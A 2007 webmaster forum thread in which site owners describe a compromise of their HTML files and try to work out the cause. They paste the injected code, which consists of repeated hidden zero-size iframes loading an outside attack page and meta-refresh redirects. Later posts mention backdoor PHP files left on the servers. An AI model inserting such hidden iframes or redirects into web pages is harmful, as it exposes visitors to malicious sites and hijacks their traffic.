Hacker attcked my swf header. - Webmaster Forums - Webmaster forum for HTML, PHP, ASP, CSS and more

hugeknot · 09-17-2007, 02:05 PM

Hi my site is
Online Music Collaboration: online music community

I have a flash header and when it has fully loaded you are redirected to a site which says "Irc.RealWorm.Net
#Morgan"

Please don't go there as I have heard that this page can damage your computer.

I contacted the flash providers who said that hackers have attacked the final page of my flash and put a redirect in there. But I uploaded a fresh file that couldn't have been hacked and got the same problem.

What has caused this - server security, my bad coding?
How can I resolve this?

hugeknot · 09-17-2007, 06:40 PM

UPDATE
It seems I have some html code on all my html files on the server.

Code:

<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">
<!-- Morgan was here ! Irc.RealWorm.Net #Morgan -->
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://apaguapa.com/donate/?site=musicollaborate.com">

Has anyone had experience of this?

Treason · 09-17-2007, 10:57 PM

Maybe trying to boost one way links to his site? lol who knows with these crazy hackers :P

hugeknot · 09-18-2007, 09:24 AM

UPDATE
I found a file called 'lol.php' in my public html files. I don't remember putting it there myself. I did a search for 'lol.php' and found a hacker forum with instructions about how to attack sites with forums that allowed html.

Well it all makes sense now, I deleted the file, deleted al that nasty code from my files and changed my forum config. I also made a backup of all my public html/php files after I took the virus code out.

I hope it has gone away now.

hugeknot · 09-22-2007, 12:16 PM

UPDATE
Well it hasn't gone away!
I found the first part of the code in all my public_html files today.
All that 'IFRAME' code has been entered into my files, but not the 'META HTTP-EQUIV'.

Luckily my pages weren't redirecting, but whatever it is, it is still there.

I would appreciate any help!

boater · 09-23-2007, 08:41 AM

Exactly the same thing happened to my guestbook! I found this Forum looking for solutions to the problem. I have removed all the code from affected files, but how do I keep it from happening again?

What is the harm done to a computer (thankfully Norton warned me in time not to click on the IFrame message.)

hugeknot · 09-23-2007, 04:23 PM

I am not sure how you can stop it attacking again. I just have copies of all my punlic files (without the hacker code), if I find the code in my files, I just replace them with the clean ones.

I am trying to work out the frequency of infections or to see if it happens after a certain even - like forum posting etc.

I will keep posting here, but it would be good if someone who knows what they are talking about could give some advice.

aantn · 09-24-2007, 08:46 AM

I just had a similar problem on my blog theesylum.com. I also got rid of the infected files and thought that the problem was fixed, but I found out today that I was wrong.

I believe that I've found the problem, and I'll try to help you out later. Can you meet me on an irc channel to discuss this? There's something else I've found that I would rather not mention here

Also, in the meantime, DO NOT USE INTERNET EXPLORER! I could be wrong, but I think that the lines that he has been adding to our files exploit a vulnerability in Internet Explorer. If you use Firefox then you should be safe.

aantn · 09-24-2007, 08:53 AM

One more thing:
There probably is no pattern to when your website gets hacked. If he's getting in the way I think then he can do so whenever he wants.

boater · 09-25-2007, 01:07 PM

Look for a file called "mods.php" in your "public_html" folder on your host server. It looks like the culprit.